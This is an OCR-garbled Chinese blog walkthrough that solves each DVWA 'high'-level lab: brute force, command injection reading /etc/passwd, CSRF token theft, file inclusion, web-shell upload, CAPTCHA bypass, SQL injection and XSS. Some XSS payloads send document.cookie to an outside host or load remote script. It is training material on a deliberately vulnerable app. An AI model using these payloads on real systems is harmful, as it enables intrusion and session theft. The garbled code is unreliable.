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Home | DVWA Secu I'Ity L
Instructions |
Setup / Reset DB | Security Level

Security level is currently: high.
Brute Force

Command Injection

CSRF

File Inclusion

You can set the security level to low, medium, high or impossible. The security level changes the vulnerability
level of DVWA:

1.

Low - This security level is completely vulnerable and has no security measures at all. It's use is to be
as an example of how web application vulnerabilities manifest through bad coding practices and to serve
as a platform to teach or learn basic exploitation technigques.

File Upload 2. Medium - This setting is mainly to give an example to the user of bad security practices, where the
developer has tried but failed to secure an application. It also acts as a challenge to users to refine their
Insecure CAPTCHA exploitation techniquas.
o 3. High - This opticn is an extension to the medium difficulty, with a mixture of harder or alternative bad
SQL Injection practices to attempt to secure the code. The vulnerability may not allow the same extent of the

SQL Injection (Blind)

Weak Session IDs

exploitation, similar in various Capture The Flags {(CTFs) competitions.

. Impossible - This level should be secure against all vulnerabilities. It is used to compare the vulnerable

source code to the secure source code.
Prior to DVWA v1.9, this level was known as 'high'.

XSS (DOM)

XSS (Reflected) High ¥ || Submit

XSS5 (Stored)

CSP Bypass PHPIDS

Lol v0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.

| | PHPIDS warks by filtering any user supplied input against a blacklist of potentially malicious code. It is used in

DVWA to serve as a live example of how Web Application Firewalls (WAFs) can help improve security and in
some cases how WAFs can be circumvented.

PHP Info

About | You can enable PHPIDS across this site for the duration of your session.
PHPIDS is currently: disabled. [ ]

Logout |

Brute Force

r

1T 1

MAJE, FEBtoken, ¥fhtokenNExtractid skEIE M+ Kitoken, LRFEN1.

1.

Target | Positions T Payloads T Options }

@ Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to
payload positions - see help for full details.

Attack type: [ Pitchfork

N

GET

HTTR/1.1

Swulnerabilities/brute/?username=admin&password=§admini&Login=Login&user_token=5af782fe3cbbdcf9259390d925ed4a15ck

Host: 56c5300d075a46a486ced5fhcc26cf11.appmituanzone

Upgrade-Insecure-Requests: 1

DNT: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64) Apple'VebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61
Safari/537.36

Accept:

text/htmlapplication/shtml+xml application/=ml;q=0.9,image/webp,image/apng,*/*q=0.8,application/signed-exchange;v=b3;q0=0.9
Referer: http://56c5300d075ad6ad486cedS5fhecc2bef11.app.mituanzone/vulnerabilities/brute/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=7dr3gSateTksh2528f6og8afp; security=high

Connection: close



https://blog.csdn.net/zycdn/article/details/112279675

2.

[Target I Positions I Payloads T Options }

@ Payload Sets L_

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload
types are available for each payload set, and each payload type can be customized in different ways.

Payload set: [1 |v] Payload count: 6,000

Payload type: [Simple list |v] Request count: 6,000

@ Payload Options [Simple list]
This payload type lets you configure a simple list of strings that are used as payloads.

Paste a123456789 I

11223344

Load 1gaz2wsx

xiazhili >
Remmﬂe
password
Clear 789456123
qwertyuiop |T
| Add from list . v

@ Payload Processing

You can define rules to perform various processing tasks on each payload before it is used.

3.

[Target I Positions I Payloads T Options }

@ Payload Sets L_

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload
types are available for each payload set, and each payload type can be customized in different ways.

Payload set: [2 |v] Payload count: unknown

Payload type: rRecursive qrep ‘v] Request count: 6,000

@ Payload Options [Recursive grep]

This payload type lets you extract each payload from the response to the previous request in the attack. It is useful in some situations where you neec
recursively to extract useful data or deliver an exploit. Extract grep items can be defined in the Options tab.

Select the "extract grep” item from which to derive payloads:

From [ value="] to [ /=\rin'%093c09</form:>]

>
Y+ = ’
Initial payload for first request: eaﬁﬁ?ceEMZZDhD?Sa?SSfSDchde?.d?” %:%IE < o token




[] Stop if duplicate payload found

® Payload Processing

Vo




6.

E_w Target T Positions I Payloads I Options l

| Filter: Showing all items |®

Request | Payloadi | Payload2 |Status | Error | 'I'|meout| Length 1'| value=" |

1 al123456789 eabb7ce24d220b075a798f... 200 O ] 4831 29af6cbh218aaBabbd... |4

42 123456123 e280cdaffldaa2885486944... 200 ] ] 4831 3f831f95b9baaalifs...

5 password | b1dease156662a5373271... | 200 || (] 4788 1323200db5390012...

2 11223344 29af8cb218aaBabbd79431... 200 ] ] 4780 9407a69f6c853ccaz. ..

3 1gaz2wsx 9407a69f6cB853cca2beaedf... 200 ] [] 4780 c938fe2478d7a2ad5. .

4 xiazhili c936fe2476d7a2a4591fed8 . 200 O [] 4780 b1deaee156662a53...
|e 789456123 1323e00db5390b12d536f6... 200 ] [] 4780 11dd30396212f1812f...
® 7 qwertyuiop 11dd30396212f1812f1b02f... 200 O [] 4780 9b7085259cTabd7d...

8 qqqqqqqq 9b7085259cTabd7de608c... 200 ] ] 4780 Tbfdeafaeb305b7932..
O 9 iloveyou Tbfdeafaeb305b7932f2719... 200 ] [] 4780 2baBb43769f5ecdby. .

10 qq123456 2baBb43769f5ec459cdeda... 200 O ] 4780 301598d92392f641c...

" 87654321 301598d92392f641c5122e... 200 ] [] 4780 3d5432b2e9c29bT ...

12 000000000 3d5432b2e9c29bToff618ef... 200 O [] 4780 b5aaeT970b567cle. ..

13 asdfghjkl b5aae7970b587cBele245 . 200 ] ] 4780 14f6074ade9683aa3...

14 31415926 14f6074ade9683aa37b121... 200 ] [] 4780 283073346786ba3d... kb

19344321 a83N7IIMRTRRRaIAAROAT 2nn — 1 A7en hd

< jwﬂ

H Headers T Hex I HTML T Render l
HTTP/1.1 200 OK -
Server: openresty/1.17.8.2
Date: Sat, 09 Jan 2021 07:13:49 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 4501

Command Injection




127.0.0.1|cat /etc/passwd

Vulnerability: Command Injection

Home |
Instructions - .
| Ping a device

Setup / Reset DB |

Enter an IP addrass: |127.0.0.1|cat /etc/passwd || Submit |
Brute Force root:x: 0:0: root: froot: /Bindbaszh

daemon:x: 1: 1: daemon: fusr/sbin: fusr/sbin/nologin

bin:x: 2: 2:bin: fbin: fusrfshin/mologin
CSRF zyez: x:3: 3 gys: Sdev: fusr/sbin/nologin

syne:x: 4: 68534 svne: Sbin: Sbind svne
games:x:5: 60: games: fusr/games: fusr/sbin/nologin
man: x: A: 12:man: fvar/cache/man: fusr/sbin/mologin

File Inclusion

File Upload | lp:x:7:7:1p: fwar/spool/lpd: fusr/sbin/mologin

Insecure CAPTCHA | mail:x: 8: B:mail:fvarfmail:fusrfsbim’nolggin .
news:x: 9: 9 news: fvar/spoolinews: fusr/sbin/mologin

SQL Injection | wcp: x: 10: 10 macp: Svar/ spool/uacp: fuse,/ shin/nologin

—— - proxy.x: 13: 13 proxy: /bin: fusr/sbin/nologin
SAL Injection (Blind) | wnr—data: x: 33 33 wnr—data: SvarS e Susr/sbindmolozin
. backup: x: 34: 34: backup: fvar/backups: fusr/sbin/molozin

bl i 1o | list:x:38:38: Mailing List Manager:/war/list:/usr/sbin/nologin

XSS (DOM) | ircox: 39: 39 ired: Svar/run/ired: fusr/sbin/molozin
gnats:x:41:41:Gnatz Bug-Reporting Syztem (admin):/var/lib/gnat=:/usr/sbinnologin

X5S (Reflected) | nobody: x: 65534 65534 nobody: /nonexistent: fusr/sbin/molozin
_apt:x:100:65634: : fnonexistent: /binffal=e

X535 (Stored) | mysql:x: 101: 101: M¥3QL Serwer,,, :/nonexistent: /bin/falze

CSP Bypass |

JavaScript .

| More Information

DVWA Security | .

PHP Info | .

About | :

CSRF

BRI BT8R R A RV HAT B EIE R K, HERWRFAEXSSHKIA, MMEB/TURMMA T . NiLBERHEXSSHHLAESR Elcookie,
AR ARBEITT T -



var url = "http://56c5300d075a46a486ce45fbcc26cfll.app.mituan.zone/vulnerabilities/csrf/"';
if(window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
}else{
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var success = false;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState ==4 & & xmlhttp.status==200){
var text = xmlhttp.responseText;
var regex = /user_token\' value\=\"'(.*?)\"' \/\>/;
var match = text.match(regex);
console.log(match[1]);
var token = match[1];

var pass = "adminl123";
var new_url = url+'?user_token='+token+'&password_new='+pass+'&password_conf="+pass+'& Change=Change’;
if(!success){

success=true;

xmlhttp.open("GET",new_url,false); //trueRFIHAT falseFREBHAT

xmlhttp.send();

}
¥
xmlhttp.open('GET',url,false);
xmlhttp.send();

e DOM XSS: http://56c5300d075a46a486ce45fbcc26cfll.app.mituan.zone/vulnerabilities/xss_d/?default=English#
<script src="http://cms.com/test.js"></script>

e Reflected XSS: http://56c5300d075a46a486ce45fbcc26cfll.app.mituan.zone/vulnerabilities/xss_r/?name=<img
src=x
onerror="eval(unescape(location.hash.substr(1)))">#d=document;h=d.getElementsByTagName("head").item(0);s=d.c

reateElement("script");s.setAttribute("src", "//cms.com/test.js");h.appendChild(s);

File Inclusion

<Tphp

Jf The page we wish +to display
$file = $ GET[ “page’ 1;

£ ] ot
if (| fomatchi ”file*”,l $file ) &k $file !'= “include.php” ) |

47 Thiz 1an t the page we want!
echo “ERROR: File not found!™:
exit;

T

® http://56c5300d075a46a486ced45fbcc26cfll.app.mituan.zone/vulnerabilities/fi/?
page=file:///etc/apache2/apache2.conf

® http://56c5300d075a46a486ce45fbcc26cfll.app.mituan.zone/vulnerabilities/fi/?page=file4.php

® http://56c5300d075a46a486ced45fbcc26cfll.app.mituan.zone/vulnerabilities/fi/?
page=fileabc../../../../../../../etc/passwd



Vulnerability: File Upload

Choose an image to upload:

PHESME | AR

. Shackablefuploads/shell. jpz succesfully uploaded!

File Upload More Information

s https:/imww.owasp.orglindex.php/Unrestricted_File_Upload

» https:/iwww.acunetix.com/websitesecurity/upload-forms-threat/

Tl
®
C
j=2
o
)
o

MRRREAPHP, & RELE EO0ENT, HRXMEATENHBRE T, M L% B fr SENBEE4 Hiphp.
|mv ../../hackable/uploads/shell.jpg ../../hackable/uploads/shell.php

= & A =22 | 56c5300d075a46a486ce45fbcc26cf11.app.mituan.zone/hackable/uploads/shell.php?8=... - ¥
LUl e e _ | _OY_____OY___ Yew_______ 9wl oY

E.
=

[0]]

System Linux cbb14c68eda7? 4.15.0-1063-aws #67-Ubuntu SMP Mon Mar 2 07:24:29 UTC 2020 x86 64

Build Date Jun 14 2018 13:50:25

Server API Apache 2.0 Handler

Virtual Directory Support disabled

Configuration File (php.ini) Path Jetc/php/7.0fapache2

Loaded Configuration File Jetc/php/7.0fapache2/php.ini

Scan this dir for additional .ini files Jetc/php/7.0fapache2/conf.d

Additional .ini files parsed Jetc/php/7.0f/apache2/conf.d/10-mysglnd.ini, fetc/php/7.0fapache2/conf.d/10-opcache.ini,
Jetc/php/7.0fapache2/conf.d/10-pdo.ini, fetc/php/7.0/apache2/conf.d/15-xmi.ini,

Insecure CAPTCHA



if( dsset (| $_POST[ “Change” |1 1 ) |
/¢ Hide the LPTLnL form
$hide_form = true;

Fi Get input
$pas=_new =l $_POST[ ’password_new ];
$pass_conf = [$_POST[ ’password_conf’ 1:

#f Check CAPTCHL from 3rd party

fresp = recaptcha_ check_answer |
$_DVWAL[ " recaptcha private_key 1,
$_POST[" g-recaptcha-responze’ ]

if
fresp ||

{

$_POST[ ~g-recaptcha-responze’ ] == “hidd3n_walu?’
&l $_SERVER[ “HTITP_USERE_LGENT' ] == " reCAPTCHA

!

Ff COLPTCHL was correct. Do both new passwords match?

if  ($pazs_new == Jpass_conf) {
fpass_new = ({izzet ($GLOBALS["__ my=qli_ston”]) &b is_object ($GLOBALS["___my=zqli_ston”]i) 7 myszqli_real_escape_string ($GLOBALS["__ m
[MyS0LConverterToo]l Fix the mysgl_escape_string() call! This code does not work.”, E_USER_ERROR)) 7 ** . “"i):
$pass_new = mnd5( J$pass_new

/i Update database
$inzert “UFDATE “userzs’ SET password = °$pass_new WHERE user = °" . dwwaCurrenmtUser{) . 7 LINIT 1:";
fresult my=zqli_query (FGLOBALS [ __mysqli_ston”]. finzert ) or dieil “<prer . ({iz_object ($GLOBALS["__ my=sqli_ston”1)) 7 mysg

/f Feedback for user
echo  “<prerPazsword Changed. </pre>":

boelse |
#f 0Ops. Password mismatch
$html .= “<pre*Both pazswords must match. <prex”;

$hide_form = false:

}oelse |
## What happens when the CAPTCHL was entered incorrectly
$html .= “<prey<br f»The CAPTCHA was incorrect. Please try again. </pre:”:
$hide_form = falze;
return;

TR 2 ZE R A% S s AT LA

L TS e e e S

http://66c5300d075a46a48... GET Mvulnerabilities/captchal

4465  https://mituan.zone GET /api/playground/2c9f843cT6d1a3. . 200 1999 JSON
4466 https://mituan.zone GET /api/course/2c9f843cT74b%edcfl... 200 446 JSON
https://mituan_zone GET /api/playground/2c9f843c76d1a3... 200 1999 JSON E
J T

Original request | Edited request T Response ]

jRawT Params T Headers I Hex ]
|POST fvulnerabilities/captcha/ HTTP/1.1 |

Host: 56c5300d075ad6a486ced5fbec2bef11.app.mituanzone |
Cache-Control: max-age=0

DNT: 1

Upgrade-Insecure-Requests: 1

|User-Agent: reCAPTCHA |

Accept: text/htmlapplication/x<html+xml,application/x«ml;q=0.9,image/webp,image/apng,*/*,q=0.8,application/signed-exchangew=b3;,q=0.9
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=7dr3g5ateTksh2528fcogBafpl; security=high

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 92

Change =change&password_new=admin123&password_conf=admin1238g-recaptcha-response=hidd3n_valu3 I

SQL Injection



BT HEX AN B, AR BRcookie E TR .

o= =wp G A T2z | 8fclda2cdhB834b538211591545702015.app.mituan.zone/vulnerabilities/sqli/

Something went wrong.

x ﬂ Elements  Console  Sources MNetwork Performance  Memory  Application  »

\pplication C  Filter o L) Only blocked
B Wanifest DName Valye Do... | Path | Bx... |Size
L& Service Workers I PHPSESEID 3566?&"g3<2p4...| Bfc... | / Se.. 35
m Clear storage security high Bfc... |/ Se... 12

T Clear storage

» ZE Local Storage

b4

EE Session Storage
£ IndexedDB
£ Web 50L

* @ Cookies

RIS

<Iphp

if{ dsset{ $_SESSION [ "4d 1 » 1 1
Ff Get  input
$id = $_SESSIoN[ “id" 1

/f Check databaze
$fquery = "SELECT first_name. last_name FROM users WHERE uszer_id = *#$id" LIMIT 1:";
fresult = mysqli_query (FGLOBALS[Y

Fi Get results

while{ $row = mysqli_fetch assoc{ $result 3 3 |
£ Get walues
$first = $row["first_name”]:
$last = $row["last_name”]:

/{ Feedback for end user
echo “<pre>ID: {$id}l<br »First name: {§firstl<br  /2Surname:  [$last] <fprex”
I

({iz_rulli$___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston”1)3) 7 false : $___my=qli_res);

BT BB SR RBAT 4.

my=qli_ston”],  $aquery ) or die{ 7 <prerSomething went wrong. < pre:’

¥



® 1' and 1=1 -- q
® 1' order by 2 -- q
® 1.1"' union all select 1,2 -- qwe

® 1.1' union all select 1,group_concat(table_name) from information_schema.tables where

table_schema=database() -- qwe

® 1.1' union all select 1,group_concat(column_name) from information_schema.columns where
table_schema=database() and table name='users' -- qwe (EZHJEARTS)

® 1.1' union all select 1,group_concat(concat_ws(':"',user,password)) from users -- quwe

ERSHEHAKEE, BHLLXATE: 1' or 1=1 -- q. id=1 or 1=1&Submit=Submit , ANTAEEIREEHE, EE —H—
Bk

SQL Injection (Blind)



1f( izset( F_COQKIE[ "4d” 1 3 1 |
Ff Get  input
fid = $_COQKIE[ "4id™ 1

F# Check database
fgetid = "SELECT first_mame, last _name FROM wusers WHEEE user_id = "“§id” LIMIT 1:;";
fresult = mysqli_query (PGLOBALS["___my=gqli_ston”], $getid ). /S BRemowed “or die’ +to =suppress my=zql errors
Ff Get results
fram = @mysqli_num rows( $result ) S/ The @ character suppresses errors
ifl Foum > 003 |

/f Feedback for end user

echo " <prerUzer ID existsz in the database. </ pre>’;

elze
A WMight =leep a random  amount
if{ ramndf 0. 5 3 == 3 1 |

zleep( rand({ 2, 4 1 J:
1

FF Uszer wasn't found, =0 the page wasn't!
header{ §$_SERVER[ °SERVER_PEOTOCOL™ 1 . 7 404 Not Founmd™ )

§f# Feedback for end user
echo " <prexUzer ID iz MISSING from the databasze. </pre}’
1

((iz_mall($___mysqli_res = my=sqli_close(JGLOBALS[" _ mysqli_ston®]1))) 7 false : ¥___mysqli_res):

—_—

HiHR, BT RERENLRIR LD B, SRR BCA AL .

pm— | Vulnerability: SQL Injection (Blind)

Instructions | Click
Setup / Reset DB

p | Ozer ID exi=zts in the databasze.
Brute Force |

Command Injection

CSRF

) Blind SQL Injection Cookie Input :: Damn Vulnerable Web Application (DVWA) v1.10 *Development™

- - A F== | 8fc1da2cd6834b538211591545702015.app.mituan.zone/vulnerabilities/sqli
File Inclusion =

File Upload Cookie 1D setl
Insecure CAPTCHA

1" and ascii{substr{{sel | Submit
SAL Injection ( ( I—I

Close
Weak Session IDs

XSS (DOM)

o HIWiEANA: 1' and 1=1 -- q

o HWrEE—/"FKE: 1° and length((select table name from information_schema.tables where
table_schema=database() limit 1,1))=5 -- qwe

o HWrE—ANRE—AFH: 1' and ascii(substr((select table name from information_schema.tables where
table schema=database() limit 1,1),1,1))=117 -- qwe

o FITHIZHRFEHIEN.

Weak Session IDs



FH P95 0] IR SR BB, — R IR S5 B2 47 & A BiE — AN B MEE sessionid &, FATHRIR. B E3| sessionid Gt &R 77
cookies I, ZJiREZ%E cookies RSS2, MEIMAEIRRIET .
S5y Aatk, #TmdsAE T, BRERANSFIFHW, HEEsession id A HIEN .

fhtml = “";

if ($_SERVER[ REQUEST METHOD'] == “FOST") !
if  (lisset ($3_SESSION[ last_session_id_high’ 1)) {
$_SESSION[" last_session_id high’] = 0;
1

$_SESSION[  last_session_id high’ ]++;
foookie_value = md5($_SESSION[ last _seszsion_ id_high’]);
zetcookie (“dvwaSeszion”,  $oookie_walue, time (043600, “Svulnerabilitiesfweak id/", J_SEEVER[ HTTP_HOST ], falze, fal=ze):

1
. Remote Address: 127.2.2.1:523@
| weak_id/
J ain.ces Referrer Policy: strict-origin-when-cross-origin

| dvwaPagejs ¥ Response Headers view source

J add_event listenersjs Cache-Control: no-cache, must-revalidate

-] lego.png
Jinjectjs

Connection: close

Content-Length: 3514

Content-Type: text/html;charset=utf-8
Date: Sat, @9 Jan 2821 23:38:58 GMT
Expires: Tue, 23 Jun 2089 12:80:90 GMT
Pragma: no-cache

Server: openresty/1.17.8.2

Set-Cookie: |d\.'waSessiDn=6512bd43dBcaaEeBZCQBBhBaBZGScha; | gxpires=5un,

18-Jan-2821 8@:38:58 GMT; Max-Age=3688; path=/vulnerabilities/weak_i
df; domain=8fclda2cd6834b5382F1591545702015. app.mituan.zone:88 A

Vary: Accept-Encoding

* Request Headers view source
Accept: text/html,application/xhtml+xml,application/xml;q=2.9,image/ wet
p,imagefapng,*/*;g=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;g=8.9
Cache-Control: no-cache
Content-Length: 8
Content-Type: application/x-www-form-urlencoded

Cookie: security=high; PHPSESSID=b820uhes7p2ak7oad jfa32tadls

AT s

{B & cookieF H- % B dvwaSessionFE . -

[w ﬂ Elements  Console  Sources MNetwork Performance  Memory  Application 3 T ox
Application C  Filter ® * O Only blocked
B Manifest Name Value | Do... | Path | Ex... |Size |Ht.. |Se.. |Sa.. | Pri..
L& Service Workers security high Bfc.. |/ Se... 12 ...
W Clear storage PHPSESSID b820uhesTpddk... |&fc.. |/ St 35 M...

Service Workers

Storage

XSS (DOM)



<“php

Fi Iz there any  input?
if § array_key_exists( “default”. $_GET ) &k !iz_mull (3 _GET[ “default’ 1) 1 {

# White 1list +the allowable languages
switch (5 _GET[ default’ 1) |

caze “French”:

caze  “English™:

caze “German”:

caze “Spanish”:

# ok
break
default:
header (“location: ?default=English”);
exit;
1
I
T

AEETH AR NERAE RS .

® http://8fclda2cd6834b5382f1591545702015.app.mituan.zone/vulnerabilities/xss_d/?default=English#
<script>alert(1)</script> ( English#<script src="http://cms.com/test.js"></script> )

® http://8fclda2cd6834b5382f1591545702015.app.mituan.zone/vulnerabilities/xss_d/?default=English&script=
<script>alert(1)</script> (F]FHdecodeURIFERS & %)

| 8fc1da2cd6834b5382f1591545702015.app.mitua n.zone/vulnerabilities/xss_d/?default=English# <script=alert(1)</script>

...da2cd6834b538211591545702015.app.mituan.zone T

1
- 1E

Storage

XSS (Reflected)

http://56c5300d075a46a486ce45fbcc26cfll.app.mituan.zone/vulnerabilities/xss_r/?name=<img src=# onerror=alert(1)

/> BARBEHE, [ERTIEEEM Mscript, AR R

...5300d075a46a480ce45fbcc26cf11.app.mituan.zone B

1

What's your name? || Submit |

Helln

More Information

L] niine whana nwraen nrafinday nhn nee_cite Sr winn XS}



® http://8fclda2cd6834b5382f1591545702015.app.mituan.zone/vulnerabilities/xss_r/?name=<img src=x
onerror="eval(unescape(location.hash.substr(1)))" />#var img =
document.createElement('img");img.src="http://www.baidu.com/?

cookies="+escape(document.cookie);document.body.appendChild(img) , KN4 M2 J5 KN EANE T RS, ArLlarbl
g, (MG)

® http://56c5300d075a46a486ce45fbcc26cfll.app.mituan.zone/vulnerabilities/xss_r/?name=<img src=x
onerror="eval(unescape(location.hash.substr(1)))">#d=document;h=d.getElementsByTagName("head").item(0);s=d.c

reateElement("script");s.setAttribute("src", "//cms.com/test.js");h.appendChild(s); (Fr%E)

XSS (Stored)

if( izset{ $_POST[ ’“btnSign” 1 J 1 |
ff Get  input

fmeszage = trim( §$_POST[ “mtxMessage’ 1 I

fname = trim{ §$ POST[ “txtName ]

I N o TN AP Y. I Lot ik

fmessage = strip_tags( addslashes( 3messzage | I

fmessage = ({izset ($GLOBALS[" _ mysqli_ston”]) && fis_object ($GLOBALS[Y _ mysqli_ston”

[Myotl¥onverterToo]l Fix the my=sql_escape_string() call! [hiz code does not work.”., E_UZ]
fmessage = htmlspecialchars( $message )

L . "

name = preg_replacer( ALl el ) LA H)p RS, 77, fname )

o 2 2 ol o o
amzaaiy e L i ey = e o

T et 1 zton”] )]
[MyotlConverterToo]l Fix the my=sql_escape_string() call! Thiz code does not work.”., E_UZ]

e e e ey

ff Update database
fouery = YINSERT INTQ guesthbook { comment, name ) VALTES ( " fmessagze’, 7 fnam
fresult = my=zqli_query (JGLOBALS["___my=gli_ston”], fquery 1 or diel “<prer’ .

fimyzql_cloze ()

message LiEFI A, it Mname TF, i3 Tscript, HREIimg. frameiX ik IFEH .

e <iframe onload=alert(/xss/)>

® <img src=x onerror="e=escape;this.src="'//www.baidu.com?cookies="+e(document.cookie)">

® <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>
X LA T7 A E R AT LA .

CSP Bypass



Vulnerability: Content Security Policy (CSP) Bypass

Home |

Instructions |

Setup / Reset DB | Lhneypéi%eomsl-:;sé:call tn:l _I_Ihulnerabilities/csp/sourcafjsonp.php Io load some code. Modify that page to
Brute Force 1+2+3+4+5=15

Command Injection

CSRF

File Inclusion More Information

File Upload o

Insecure CAPTCHA i

SQAL Injection

SQL Injection (Blind) Module developed by

Weak Session IDs
XSS (DOM)

XSS (Reflected)
XSS (Stored)

JavaScript

XANMTF4 T/ EF| XSS Reflected, i M

Bk: http://8fclda2cd6834b5382F1591545702015.app.mituan.zone/vulnerabilities/xss_r/?name=<img src=x
onerror="eval(unescape(location.hash.substr(1)))"

/>#d=document;h=d.getElementsByTagName( 'head"').item(®);s=d.createElement('script');s.setAttribute('src', " '/vulner
abilities/csp/source/jsonp.php?callback=alert(document.cookie)//"');h.appendChild(s);

...da2cd6834b53821591545702015.app.mituan.zone &7
PHPSESSID=b820uhes? p84k794jfq52to915; security=high

\ cripting (XSS)

What's your name? Submit

Hella lea

More Information
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gei \success, ARG AT E .

[w ﬂ Elements Conscle Sourc

[El @ top v &

» token_part_1("ABCD", 44);

/ :
Ps

Vulnerability: JavaScript Attacks

Submit the word "success” to win.
Well donel

Phrase |success Submit

More Information

Module developed by

ERIBIEIS, B

2% http://8fclda2cd6834b5382f1591545702015. app . mituan. zone/vulnerabilities/javascript/source/high.js o

function do_something (el {
for {war t = "", n=e.length - 1; n »>=0;, n—) t += eln];
return t

1

function token part_3(t, ¥ = "II") |
document. getElementById(“token”). wvalue

sha2566 (document. getElementBrId (" token” ). value + ¥)
I
function token part 2(e = “T¥") |
document. getElementById(“token”). value = sha2b6(e + document. getElementById("token”). value)
1
function token part_1(a, b} {
document. getElementById (" token” ). wvalue = do_something (document. setElementById("phrase” ). value)

I
document. getElementById(“phraze”). value =
zetTimeout (function() 1

token part 2("X¥")
b.o300);
document. getElementById(” send”). addEventListener ("click”, token part_3);
token_part_1("ABCD”, 44);

nm

Deobfuscate

Mot yet deobfuscated 7 Press Deobiuscate button twice |

HBEEHL


http://deobfuscatejavascript.com/#

A

DVWA
Damn Vulnerable Web Application (D'VWA)

EHTFE SRS login BEEI5E fsetup.php, TEESEE S create/reset database” EEHIEE, A& login EEEIEFE, HEELSE Nogin.php.
BEFrs: (TiEE—)

A& admin  pablo gordonb 1337  smithy
=fG  password letmein abc123  charley password

EFiEE: http/iwww.dvwa.co.uk/
B LTI RS T ©

EHIER

O =E=D =0 (SEEiEaTEEE)

2%
JOJOH = A

HRAfEDE


https://www.cnblogs.com/jojo-feed/category/1369775.html
https://www.freebuf.com/author/fu%25E7%25A6%258Flin%25E6%259E%2597
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